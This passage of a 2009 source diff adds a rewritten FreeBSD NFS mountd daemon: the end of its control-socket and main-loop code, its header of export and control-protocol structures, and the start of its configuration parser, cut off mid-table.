"ctl_server: write (answer header): " + "wrote %zd of %zu bytes", ssize, sizeof(ctl_ans_hdr)); + goto done; + } +done: + free(ctl_cmd_buf); + if (close(fd) < 0) { + syslog(LOG_ERR, "ctl_server: close: %m"); + error = -1; + } + return (error); +} + +/* + * Pack, send a control command. Receive the answer and check it. + */ +static int +ctl_client(void) +{ + static struct iovec ctl_cmd_iov[2] = { + [0] = { + .iov_base = &ctl_cmd_hdr, + .iov_len = sizeof(ctl_cmd_hdr) + } + }; + static struct msghdr ctl_cmd_msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = ctl_cmd_iov, + .msg_iovlen = 2, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0 + }; + + struct sockaddr_un un; + struct sigaction sigact; + struct xucred xucred; + struct ctl_ans_hdr ctl_ans_hdr; + struct timeval tv; + socklen_t slen; + ssize_t ssize; + size_t size; + int fd, error; + + switch (ctl_cmd_hdr.command) { + case CTL_CMD_EXPORT: + error = ctl_export_pack(); + break; + case CTL_CMD_RELOAD: + error = ctl_reload_pack(); + break; + case CTL_CMD_FLUSH: + error = ctl_flush_pack(); + break; + default: + warnx("unexpected command code %u", ctl_cmd_hdr.command); + return (-1); + } + if (error < 0) { + warnx("cannot pack control message"); + return (-1); + } + if (ctl_cmd_hdr.size > CTL_MSG_MAX_SIZE) { + warnx("message size %zu bigger than allowed size %u", + ctl_cmd_hdr.size, CTL_MSG_MAX_SIZE); + return (-1); + } + + fd = socket(PF_LOCAL, SOCK_STREAM, 0); + if (fd < 0) { + warn("socket"); + return (-1); + } + + error = -1; + + tv.tv_sec = CTL_TIMEOUT; + tv.tv_usec = 0; + if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0 || + setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)) < 0) { + warn("setsockopt(SO_RCVTIMEO/SO_SNDTIMEO)"); + goto done; + } + + /* Ignore SIGPIPE. */ + sigact.sa_handler = SIG_IGN; + sigact.sa_flags = 0; + if (sigaction(SIGPIPE, &sigact, (struct sigaction *)NULL) < 0) { + warn("sigaction(SIGPIPE)"); + goto done; + } + + ctl_cmd_iov[1].iov_base = ctl_cmd_buf; + ctl_cmd_iov[1].iov_len = ctl_cmd_hdr.size; + + memset(&un, 0, sizeof(un)); + un.sun_family = PF_LOCAL; + strncpy(un.sun_path, _PATH_MOUNTD_CTLSOCKET, sizeof(un.sun_path) - 1); + un.sun_len = SUN_LEN(&un); + + /* + * If PF_LOCAL listening socket's queue is full, then connect() + * returns ECONNREFUSED immediately, do not need timeout. + */ + if (connect(fd, (struct sockaddr *)&un, un.sun_len) < 0) { + warn("connect(%s)", _PATH_MOUNTD_CTLSOCKET); + goto done; + } + + slen = sizeof(xucred); + if (getsockopt(fd, 0, LOCAL_PEERCRED, &xucred, &slen) < 0) { + warn("getsockopt(LOCAL_PEERCRED)"); + goto done; + } + if (slen != sizeof(xucred) || xucred.cr_version != XUCRED_VERSION) { + warnx("getsockopt(LOCAL_PEERCRED) returned wrong option"); + goto done; + } + if (xucred.cr_uid != 0) { + warnx("peer is not run by super-user"); + goto done; + } + + setbuf(stdout, (char *)NULL); + printf("Sending control command (timeout %u seconds)... ", + CTL_TIMEOUT); + ssize = sendmsg(fd, &ctl_cmd_msg, 0); + if (ssize < 0) { + printf("failed\n"); + warn("sendmsg (control command header and data)"); + goto done; + } + size = sizeof(ctl_cmd_hdr) + ctl_cmd_hdr.size; + if ((size_t)ssize != size) { + printf("incomplete\n"); + warnx("sendmsg: sent %zd of %zu bytes", ssize, size); + goto done; + } + + printf("done\nReceiving answer (timeout %u seconds)... ", CTL_TIMEOUT); + ssize = read(fd, &ctl_ans_hdr, sizeof(ctl_ans_hdr)); + if (ssize < 0) { + printf("failed\n"); + warn("read (answer header)"); + goto done; + } + if ((size_t)ssize != sizeof(ctl_ans_hdr)) { + printf("incomplete\n"); + warnx("read (answer header): read %zd of %zu bytes", ssize, + sizeof(ctl_ans_hdr)); + goto done; + } + printf("done\n"); + + if (ctl_ans_hdr.version != CTL_API_VERSION) { + warnx("wrong answer message protocol version %u, my version " + "is %u", ctl_ans_hdr.version, CTL_API_VERSION); + goto done; + } + if (ctl_ans_hdr.size != 0) { + warnx("answer has unexpected extra data"); + goto done; + } + switch (ctl_ans_hdr.answer) { + case CTL_ANS_OK: + printf("Control command succeeded\n"); + error = 0; + break; + case CTL_ANS_FORMAT: + warnx("answer: wrong format of command"); + break; + case CTL_ANS_ERROR: + warnx("answer: some system error occurred"); + break; + case CTL_ANS_REJECTED: + warnx("answer: control command was rejected"); + break; + } +done: + if (close(fd) < 0) + warn("close"); + return (error); +} + +/* + * Create and bind control socket. + */ +static int +ctl_socket_init(void) +{ + struct sockaddr_un un; + struct timeval tv; + int fd; + + if (sizeof(_PATH_MOUNTD_CTLSOCKET) > sizeof(un.sun_path)) { + syslog(LOG_ERR, "ctl_socket_init: path %s it too long for " + "local domain socket file name", _PATH_MOUNTD_CTLSOCKET); + return (-1); + } + + fd = socket(PF_LOCAL, SOCK_STREAM, 0); + if (fd < 0) { + syslog(LOG_ERR, "ctl_socket_init: socket: %m"); + return (-1); + } + ctl_listen_fd = fd; + + if (unlink(_PATH_MOUNTD_CTLSOCKET) < 0) + if (errno != ENOENT) { + syslog(LOG_ERR, "ctl_socket_init: unlink(%s): %m", + _PATH_MOUNTD_CTLSOCKET); + return (-1); + } + + memset(&un, 0, sizeof(un)); + un.sun_family = PF_LOCAL; + strncpy(un.sun_path, _PATH_MOUNTD_CTLSOCKET, sizeof(un.sun_path) - 1); + un.sun_len = SUN_LEN(&un); + if (bind(fd, (struct sockaddr *)&un, un.sun_len) < 0) { + syslog(LOG_ERR, "ctl_socket_init: bind(%s): %m", un.sun_path); + return (-1); + } + ctl_socket_bound = 1; + + if (chmod(un.sun_path, S_IWUSR) < 0) { + syslog(LOG_ERR, "ctl_socket_init: chmod(%s, 0%03o): %m", + un.sun_path, S_IWUSR); + return (-1); + } + + if (set_nonblock(fd) < 0) { + syslog(LOG_ERR, "ctl_socket_init: cannot make listen socket " + "non-blockable"); + return (-1); + } + + tv.tv_sec = CTL_TIMEOUT; + tv.tv_usec = 0; + if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0 || + setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)) < 0) { + syslog(LOG_ERR, "ctl_socket_init: " + "setsockopt(SO_RCVTIMEO/SO_SNDTIMEO): %m"); + return (-1); + } + + if (listen(fd, 5) < 0) { + syslog(LOG_ERR, "ctl_socket_init: listen: %m"); + return (-1); + } + + return (0); +} + +/* + * Close and unlink control socket. + */ +static int +ctl_socket_deinit(void) +{ + int rv; + + rv = 0; + if (ctl_listen_fd >= 0) + if (close(ctl_listen_fd) < 0) { + syslog(LOG_ERR, "ctl_socket_deinit: close: %m"); + rv = -1; + } + if (ctl_socket_bound) + if (unlink(_PATH_MOUNTD_CTLSOCKET) < 0) { + syslog(LOG_ERR, "ctl_socket_deinit: unlink(%s): %m", + _PATH_MOUNTD_CTLSOCKET); + rv = -1; + } + return (rv); +} + +static void +usage(void) +{ + fprintf(stderr, + "usage: %s [-2dlnrt] [-c command] [-h bindip] [-p port] " + "[exports_file ...]\n", getprogname()); +} + +int +main(int argc, char *argv[]) +{ + struct sigaction sigact; + struct kevent kev; + struct timespec ts; + fd_set rset; + sigset_t sigmask, zeromask; + const char *errstr; + struct pidfh *pfh; + char **hosts; + pid_t otherpid; + u_int nhosts; + int error, errno_save, kq, opt, rv, maxfd, maxfd0, nready; + char opt_c, opt_d; + + hosts = NULL; + nhosts = 0; + opt_c = opt_d = 0; + while ((opt = getopt(argc, argv, "2c:dh:lnp:t")) != -1) + switch (opt) { + case '2': + force_nfsv2 = 1; + break; + case 'c': + if (add_exp_cmd(optarg) < 0) + return (EXIT_FAILURE); + opt_c = 1; + break; + case 'h': + ++nhosts; + hosts = realloc(hosts, nhosts * sizeof(*hosts)); + if (hosts == NULL) + errx(EXIT_FAILURE, "main: realloc"); + hosts[nhosts - 1] = optarg; + break; + case 'd': + opt_d = 1; + break; + case 'l': + log_cli_reqs = 1; + break; + case 'n': + resvport_only = 0; + break; + case 'p': + svcport = htons(strtonum(optarg, 0, UINT16_MAX, + &errstr)); + if (errstr != NULL) + errx(EXIT_FAILURE, "option -p: wrong port " + "number: %s", errstr); + break; + case 't': + test_conf = 1; + break; + default: + usage(); + return (EXIT_FAILURE); + } + + if (set_exp_file(argc - optind, argv + optind) < 0) + return (EXIT_FAILURE); + + TAILQ_INIT(&fs_exp_list1); + fs_exp_list = &fs_exp_list1; + + if (test_conf) { + /* Just test configuration. */ + if (configure(0) < 0) + return (EXIT_FAILURE); + show_conf(); + return (EXIT_SUCCESS); + } + + if (opt_c) { + /* Send control command. */ + if (configure(0) < 0) + errx(EXIT_FAILURE, "wrong configuration: " + "no command was sent"); + return (ctl_client() == 0 ? EXIT_SUCCESS : EXIT_FAILURE); + } + + /* Verify that there is nfsserver KLD. */ + if (modfind(KLD_NFSSERVER) < 0) { + if (errno != ENOENT) + err(EXIT_FAILURE, "modfind(%s)", KLD_NFSSERVER); + if (kldload(KLD_NFSSERVER) < 0 && errno != EEXIST) + err(EXIT_FAILURE, "kldload(%s)", KLD_NFSSERVER); + } + + /* Check that another mountd is not already running. */ + pfh = pidfile_open(_PATH_MOUNTDPID, S_IRUSR|S_IWUSR, &otherpid); + if (pfh == NULL) { + if (errno == EEXIST) + errx(EXIT_FAILURE, "mountd already running, PID %lu", + (u_long)otherpid); + err(EXIT_FAILURE, "cannot open or create PID-file %s", + _PATH_MOUNTDPID); + } + + openlog("mountd", LOG_PID | opt_d ? LOG_PERROR : LOG_CONS, LOG_DAEMON); + + if (!opt_d) + if (daemon(0, 0) < 0) { + syslog(LOG_ERR, "cannot run in the background: %m"); + return (EXIT_FAILURE); + } + + if (pidfile_write(pfh) < 0) { + syslog(LOG_ERR, "pidfile_write(%s): %m", _PATH_MOUNTDPID); + return (EXIT_FAILURE); + } + + error = 1; + kq = -1; + + if (expspec_func(EXPSPEC_FN_CLEAR) < 0) + goto failed; + + /* Setup signals masks. */ + sigemptyset(&sigmask); + sigemptyset(&zeromask); + if (opt_d) + sigaddset(&sigmask, SIGINT); + sigaddset(&sigmask, SIGHUP); + sigaddset(&sigmask, SIGTERM); + + /* Mask expected signals. */ + if (sigprocmask(SIG_SETMASK, &sigmask, (sigset_t *)NULL) < 0) { + syslog(LOG_ERR, "main: sigprocmask(SIG_SETMASK): %m"); + goto failed; + } + + /* Ignore SIGPIPE. */ + sigact.sa_handler = SIG_IGN; + sigact.sa_flags = 0; + if (sigaction(SIGPIPE, &sigact, (struct sigaction *)NULL) < 0) { + syslog(LOG_ERR, "main: sigaction(SIGPIPE): %m"); + goto failed; + } + + /* Install SIGTERM (and SIGINT) handler. */ + sigact.sa_handler = sig_term; + sigact.sa_mask = sigmask; + if (opt_d) + if (sigaction(SIGINT, &sigact, (struct sigaction *)NULL) < 0) { + syslog(LOG_ERR, "main: sigaction(SIGINT): %m"); + goto failed; + } + if (sigaction(SIGTERM, &sigact, (struct sigaction *)NULL) < 0) { + syslog(LOG_ERR, "main: sigaction(SIGTERM): %m"); + goto failed; + } + + /* Install SIGHUP handler. */ + sigact.sa_handler = sig_hup; + if (sigaction(SIGHUP, &sigact, (struct sigaction *)NULL) < 0) { + syslog(LOG_ERR, "main: sigaction(SIGHUP): %m"); + goto failed; + } + + /* Create pipe for IPC from signals handlers. */ + if (pipe(sig_pipe) < 0) { + syslog(LOG_ERR, "main: pipe: %m"); + goto failed; + } + /* Set write- and read-end of sig_pipe as non-blockable. */ + if (set_nonblock(sig_pipe[0]) < 0 || set_nonblock(sig_pipe[1]) < 0) + goto failed; + + opt = RPC_MAXDATASIZE; + if (!rpc_control(RPC_SVC_CONNMAXREC_SET, &opt)) { + syslog(LOG_ERR, "rpc_control(RPC_SVC_CONNMAXREC_SET) failed"); + goto failed; + } + + if (!resvport_only && sysctlbyname("vfs.nfsrv.nfs_privport", NULL, + (size_t *)NULL, &resvport_only, sizeof(resvport_only)) < 0) { + syslog(LOG_ERR, "sysctl(vfs.nfsrv.nfs_privport): %m"); + goto failed; + } + + if (mntsrv_setup(hosts, nhosts) < 0) + goto failed; + free(hosts); + + if (configure(0) < 0 && syserr_flag) + goto failed; + + kq = kqueue(); + if (kq < 0) { + syslog(LOG_ERR, "main: kqueue: %m"); + goto failed; + } + EV_SET(&kev, 0, EVFILT_FS, EV_ADD, 0, 0, NULL); + if (kevent(kq, &kev, 1, (struct kevent *)NULL, 0, + (struct timespec *)NULL) < 0) { + syslog(LOG_ERR, "main: kevent: %m"); + goto failed; + } + ts.tv_sec = (time_t)0; + ts.tv_nsec = 0; + + if (expspec_func(EXPSPEC_FN_RELOAD) < 0) + goto done; + + if (mntlist_read() < 0) + goto done; + + if (ctl_socket_init() < 0) + goto done; + + maxfd0 = sig_pipe[0]; + if (maxfd0 < ctl_listen_fd) + maxfd0 = ctl_listen_fd; + if (maxfd0 < kq) + maxfd0 = kq; + + for (;;) { + /* Unmask all signals. */ + if (sigprocmask(SIG_SETMASK, &zeromask, (sigset_t *)NULL) < 0) { + syslog(LOG_ERR, "main: sigprocmask(SIG_SETMASK) " + "for zeromask: %m"); + break; + } + /* svc_fdset could be changed, have to do this every time. */ + rset = svc_fdset; + FD_SET(sig_pipe[0], &rset); + FD_SET(ctl_listen_fd, &rset); + FD_SET(kq, &rset); + maxfd = svc_maxfd; + if (maxfd < maxfd0) + maxfd = maxfd0; + nready = select(maxfd + 1, &rset, (fd_set *)NULL, + (fd_set *)NULL, (struct timeval *)NULL); + errno_save = errno; + /* Mask expected signals. */ + if (sigprocmask(SIG_SETMASK, &sigmask, (sigset_t *)NULL) < 0) { + syslog(LOG_ERR, "main: sigprocmask(SIG_SETMASK) " + "for sigmask: %m"); + break; + } + if (nready < 0) { + if (errno_save == EINTR) + continue; + errno = errno_save; + syslog(LOG_ERR, "main: select: %m"); + break; + } + if (FD_ISSET(kq, &rset)) { + /* Handle VFS events. */ + rv = kevent(kq, (struct kevent *)NULL, 0, &kev, 1, + &ts); + if (rv == 1) { + if (kev.filter == EVFILT_FS && + (kev.fflags & (VQ_MOUNT|VQ_UNMOUNT))) + if (expspec_func(EXPSPEC_FN_EVENT) < 0) + break; + } else if (rv < 0) { + syslog(LOG_ERR, "main: kevent: %m"); + break; + } else + syslog(LOG_WARNING, "main: kevent returned %d", + rv); + --nready; + } + if (!signal_flag) { + if (FD_ISSET(ctl_listen_fd, &rset)) { + /* Serve command. */ + if (ctl_server() < 0) + break; + --nready; + } + if (nready > 0) { + /* Serve request. */ + svc_getreqset(&rset); + if (syserr_flag) + break; + } + } else { + /* Check signals. */ + if (shutdown_flag) + break; + signal_flag = 0; + while (read(sig_pipe[0], &opt, 1) > 0) + ; + if (reconf_flag) { + reconf_flag = 0; + if (configure(1) < 0 && syserr_flag) + break; + if (expspec_func(EXPSPEC_FN_RELOAD) < 0) + break; + mntlist_inherit(); + free_fs_exp_list(fs_exp_list_prev); + free_unref_conf(); + } + } + } +done: + if (shutdown_flag) { + if (mntlist_write() < 0) + error = 1; + else + error = 0; + unconfigure(); + } + + if (expspec_func(EXPSPEC_FN_CLEAR) < 0) + error = 1; +failed: + if (kq >= 0) + if (close(kq) < 0) { + syslog(LOG_ERR, "main: close: %m"); + error = 1; + } + + if (mntsrv_unsetup() < 0) + error = 1; + + if (ctl_socket_deinit() < 0) + error = 1; + + if (pidfile_remove(pfh) < 0) { + syslog(LOG_ERR, "pidfile_remove(%s): %m", _PATH_MOUNTDPID); + error = 1; + } + + closelog(); + return (error ? EXIT_FAILURE : EXIT_SUCCESS); +} diff -ruN empty/mountd.h mountd/mountd.h --- empty/mountd.h 1970-01-01 03:00:00.000000000 +0300 +++ mountd/mountd.h 2009-06-26 14:12:39.000000000 +0300 @@ -0,0 +1,320 @@ +/*- + * Copyright (c) 2009 Andrey Simonenko + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD:$ + */ + +#ifndef MOUNTD_H +#define MOUNTD_H + +#include + +#if __FreeBSD_version >= 800062 +# define WITH_SEC 1 +#else +# define RPCSEC_GSS_KRB5 100 +# define RPCSEC_GSS_KRB5I 200 +# define RPCSEC_GSS_KRB5P 300 +#endif + +#define IPV4_ADDR_LEN 4 /* IPv4 address length in uint8_t. */ +#define IPV6_ADDR_LEN 16 /* IPv6 address length in uint8_t. */ + +/* + * Information about mounted path. + */ +struct mnt_path { + LIST_ENTRY(mnt_path) link; /* For list building. */ + char *subpath; /* Mounted subpath. */ +}; + +/* + * List of all mounted paths by one host. + */ +LIST_HEAD(mnt_path_list, mnt_path); + +/* + * Information about mounted paths by one host. + */ +struct mnt_host { + LIST_ENTRY(mnt_host) link; /* For list building. */ + struct mnt_path_list mp_list; /* Mounted paths list. */ + uint32_t buf[1]; /* IPv4 or IPv6 address. */ +}; + +#define MNT_HOST_ADDR(ptr) \ + ((ptr)->buf) + +#define MNT_HOST_IPV4_SIZE \ + (sizeof(struct in_addr) + offsetof(struct mnt_host, buf[0])) + +#define MNT_HOST_ADDR4(ptr) \ + ((struct in_addr *)MNT_HOST_ADDR(ptr)) + +#define MNT_HOST_IPV6_SIZE \ + (sizeof(struct in6_addr) + offsetof(struct mnt_host, buf[0])) + +#define MNT_HOST_ADDR6(ptr) \ + ((struct in6_addr *)MNT_HOST_ADDR(ptr)) + +/* + * List of all hosts that mounted at least one path. + */ +LIST_HEAD(mnt_host_list, mnt_host); + +/* + * Credentials specification. + */ +struct cred_exp { + LIST_ENTRY(cred_exp) link; /* For list building. */ + uid_t uid; /* Credentials UID. */ + u_int ngids; /* Number of credentials GIDs. */ + gid_t gids[NGROUPS]; /* Credentials GIDs. */ + u_int ref_count; /* Reference counter. */ +}; + +/* + * Security flavors specification. + */ +struct secflavors { + LIST_ENTRY(secflavors) link; /* For list building. */ + u_int nsec; /* Number of security flavors. */ + int sec[NFSE_NSECFLAV]; /* Security flavors. */ + u_int ref_count; /* Reference counter. */ +}; + +/* + * IPv4 address specification. + */ +struct addr4_spec { + struct in_addr addr; /* Network or host address. */ + struct in_addr mask; /* Address mask. */ +}; + +/* + * IPv6 address specification. + */ +struct addr6_spec { + struct in6_addr addr; /* Network or host address. */ + struct in6_addr mask; /* Address mask. */ +}; + +/* + * Address specification (variable-sized structure). + */ +struct addr_spec { + LIST_ENTRY(addr_spec) link; /* For list building. */ + u_int maskbits; /* Number of bits in mask. */ + u_int ref_count; /* Reference counter. */ + uint32_t buf[1]; /* IPv4 or IPv6 address spec. */ +}; + +LIST_HEAD(addr_spec_list, addr_spec); + +#define ADDR_SPEC_IPV4_SIZE \ + (sizeof(struct addr4_spec) + offsetof(struct addr_spec, buf[0])) + +#define ADDR4_SPEC_PTR(ptr) \ + ((struct addr4_spec *)(ptr)->buf) + +#define ADDR4_SPEC_CPTR(ptr) \ + ((const struct addr4_spec *)(ptr)->buf) + +#define ADDR_SPEC_IPV6_SIZE \ + (sizeof(struct addr6_spec) + offsetof(struct addr_spec, buf[0])) + +#define ADDR6_SPEC_PTR(ptr) \ + ((struct addr6_spec *)(ptr)->buf) + +#define ADDR6_SPEC_CPTR(ptr) \ + ((const struct addr6_spec *)(ptr)->buf) + +/* + * Export specification for one host or network. + */ +struct addr_exp { + TAILQ_ENTRY(addr_exp) link; /* For list building. */ + struct addr_spec *addr_spec; /* Address specification. */ + struct cred_exp *cred_exp; /* Export credentials. */ + struct secflavors *secflavors; /* Security flavors. */ + uint32_t oflags; /* Option flags. */ +}; + +/* + * List of all host and network specifications for one file system. + */ +TAILQ_HEAD(addr_exp_list, addr_exp); + +/* + * All information about one exported file system. + */ +struct fs_exp { + TAILQ_ENTRY(fs_exp) link; /* For list building. */ + fsid_t fsid; /* File system ID. */ + char *path; /* Mount point. */ + size_t path_len; /* Length of path_name. */ + uint32_t oflags; /* File system option flags. */ + struct addr_exp *ae_def; /* Default export spec. */ + struct addr_exp_list ae4_list; /* Export spec. list for IPv4. */ + struct addr_exp_list ae6_list; /* Export spec. list for IPv6. */ + struct mnt_host_list mh4_list; /* Mounted paths by IPv4 hosts. */ + struct mnt_host_list mh6_list; /* Mounted paths by IPv6 hosts. */ + u_int nspec; /* Number of address spec. */ + u_int no_mnt_exp; /* Number of OPT_NO_MNT_EXP. */ +}; + +/* + * List of all exported file systems. + */ +TAILQ_HEAD(fs_exp_list, fs_exp); + +extern char test_conf; +extern char syserr_flag; +extern char have_ipv4; +extern char have_ipv6; + +extern char no_mntproc_dump; +extern char no_mntproc_export; + +extern char *index_webnfs; + +extern char subpath_empty[]; + +extern struct fs_exp_list fs_exp_list1; +extern struct fs_exp_list fs_exp_list2; +extern struct fs_exp_list fs_exp_list_update; +extern struct fs_exp_list *fs_exp_list; +extern struct fs_exp_list *fs_exp_list_prev; + +extern struct fs_exp *fs_exp_by_path(const struct fs_exp_list *, const char *); + +extern void mntlist_recheck(const u_int, struct fs_exp *); +extern void mntlist_free_mh_list(struct mnt_host_list *); + +#define CTL_API_VERSION 1 /* Control protocol version. */ +#define CTL_MSG_MAX_SIZE (1024 * 1024) /* Maximum allowed message size. */ + +#define CTL_CMD_EXPORT 1 /* Change export specifications. */ +#define CTL_CMD_RELOAD 2 /* Reload configuration. */ +#define CTL_CMD_FLUSH 3 /* Flush all export specifications. */ + +/* + * Control command header (do not change it). + */ +struct ctl_cmd_hdr { + u_int version; /* CTL_API_VERSION */ + u_int command; /* Command code. */ + size_t size; /* Size of data. */ +}; + +/* + * IPv4 address specification control data. + */ +struct ctl_addr4_spec { + struct in_addr addr; /* Network or host address. */ + u_int maskbits; /* Number of bits in mask. */ +}; + +/* + * IPv6 address specification control data. + */ +struct ctl_addr6_spec { + struct in6_addr addr; /* Network or host address. */ + u_int maskbits; /* Number of bits in mask. */ +}; + +/* + * Union that represents IPv4 or IPv6 address specification. + */ +union ctl_addr_spec { + struct ctl_addr4_spec as4; /* IPv4 address spec. */ + struct ctl_addr6_spec as6; /* IPv6 address spec. */ +}; + +/* + * Export specification control data. + */ +struct ctl_addr_exp { + sa_family_t family; /* AF_INET or AF_INET6. */ + union ctl_addr_spec addr_spec; /* Address specification. */ + uid_t uid; /* Credentials UID. */ + u_int ngids; /* Number of credentials GIDs. */ + gid_t gids[NGROUPS]; /* Credentials GIDs. */ + u_int nsec; /* Number of security flavors. */ + int sec[NFSE_NSECFLAV]; /* Security flavors. */ + uint32_t oflags; /* Option flags. */ +}; + +/* + * File system control data. + */ +struct ctl_fs_exp { + size_t path_len; /* Length of path name. */ + uint32_t oflags; /* Option flags. */ + u_int nspec; /* Number of address spec. */ +}; + +/* + * The format of a control command message: + * struct ctl_cmd_hdr -- header; + * data -- optional data. + * + * The format of CTL_CMD_EXPORT command: + * struct ctl_fs_exp -- file system control data; + * char [] -- file system path, without NUL character; + * struct ctl_addr_exp [] -- array of address specifications. + * + * The CTL_CMD_EXPORT command can have settings for several file systems. + * + * The format of CTL_CMD_RELOAD command: + * nothing -- nothing in data. + */ + +#define CTL_ANS_OK 0 /* Control command succeeded. */ +#define CTL_ANS_FORMAT 1 /* Wrong format of a command. */ +#define CTL_ANS_ERROR 2 /* Some system error occurred. */ +#define CTL_ANS_REJECTED 3 /* Control command was rejected. */ + +/* + * Answer on control command header (do not change it). + */ +struct ctl_ans_hdr { + u_int version; /* CTL_API_VERSION */ + u_int answer; /* Answer code. */ + size_t size; /* Size of data. */ +}; + +/* + * The format of an answer message on control command: + * struct ctl_ans_hdr -- header; + * data -- optional data. + * + * All answers do not have any data. + */ + +extern struct ctl_cmd_hdr ctl_cmd_hdr; +extern void *ctl_cmd_buf; + +#endif /* !MOUNTD_H */ diff -ruN empty/mountd_conf.c mountd/mountd_conf.c --- empty/mountd_conf.c 1970-01-01 03:00:00.000000000 +0300 +++ mountd/mountd_conf.c 2009-07-02 10:37:06.000000000 +0300 @@ -0,0 +1,3725 @@ +/*- + * Copyright (c) 2009 Andrey Simonenko + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +__FBSDID("$FreeBSD:$"); + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "mountd.h" +#include "mountd_conf.h" +#include "pathnames.h" + +/* + * Option description. + */ +struct opt_descr { + const char *name; /* Option name. */ + uint32_t oflags; /* Option flags. */ + int (*parse)(char *); /* Parser or NULL. */ +}; + +static int parse_opt_cred(char *); +static int parse_opt_host(char *); +static int parse_opt_index(char *); +static int parse_opt_mask(char *); +static int parse_opt_network(char *); +static int parse_opt_nospec(char *); +static int parse_opt_public(char *); +static int parse_opt_ro_rw(char *); +static int parse_opt_sec(char *); + +#define OPTS_ALLDIRS_C (OPT_ALLDIRS|OPT_COMPAT) +#define OPTS_HOST (OPT_HOST|OPT_ARG) +#define OPTS_INDEX (OPT_INDEX|OPT_ARG) +#define OPTS_MAPALL (OPT_MAPALL|OPT_ARG) +#define OPTS_MAPROOT (OPT_MAPROOT|OPT_ARG) +#define OPTS_MAPROOT_C (OPTS_MAPROOT|OPT_COMPAT) +#define OPTS_MASK (OPT_MASK|OPT_ARG) +#define OPTS_MASK_C (OPTS_MASK|OPT_COMPAT) +#define OPTS_NETWORK (OPT_NETWORK|OPT_ARG) +#define OPTS_NETWORK_C (OPTS_NETWORK|OPT_COMPAT) +#define OPTS_RO_C (OPT_RO|OPT_COMPAT) +#define OPTS_SEC (OPT_SEC|OPT_ARG) +#define OPTS_WEBNFS (OPT_WEBNFS|OPT_PUBLIC|OPT_RO|OPT_MAPALL) + +/* File system related options. */ +#define FE_OPTS_ALLFLAGS \ + (OPT_PUBLIC|OPT_WEBNFS|OPT_INDEX|OPT_QUIET|OPT_NO_MNT_DMP| \ + OPT_NO_MNT_EXP) + +/* File system related options that can be used with command. */ +#define FE_CMD_OPTS_ALLFLAGS \ + (OPT_QUIET|OPT_NOSPEC|OPT_NO_MNT_DMP|OPT_NO_MNT_EXP) + +/* Address specification related options. */ +#define AE_OPTS_ALLFLAGS \ + (OPT_RO|OPT_RW|OPT_MAPALL|OPT_MAPROOT|OPT_SEC|OPT_DENY) + +/* All global options. */ +#define GL_OPTS_ALLFLAGS \ + (OPT_SEC|OPT_NO_MNT_DMP|OPT_NO_MNT_EXP) + +/* All export options. */ +#define EX_OPTS_ALLFLAGS \ + (OPT_QUIET|OPT_RO|OPT_RW|OPT_ALLDIRS|OPT_PUBLIC|OPT_INDEX| \ + OPT_MAPALL|OPT_MAPROOT|OPT_MASK|OPT_NETWORK|OPT_HOST|OPT_WEBNFS| \ + OPT_NOSPEC|OPT_SEC|OPT_NO_MNT_DMP|OPT_NO_MNT_EXP) + +/* + * Options description table sorted by option name. + */ +static struct opt_descr opt_descr_tbl[] = { + { "alldirs", OPTS_ALLDIRS_C, NULL }, + { "host", OPTS_HOST, parse_opt_host }, + { "index", 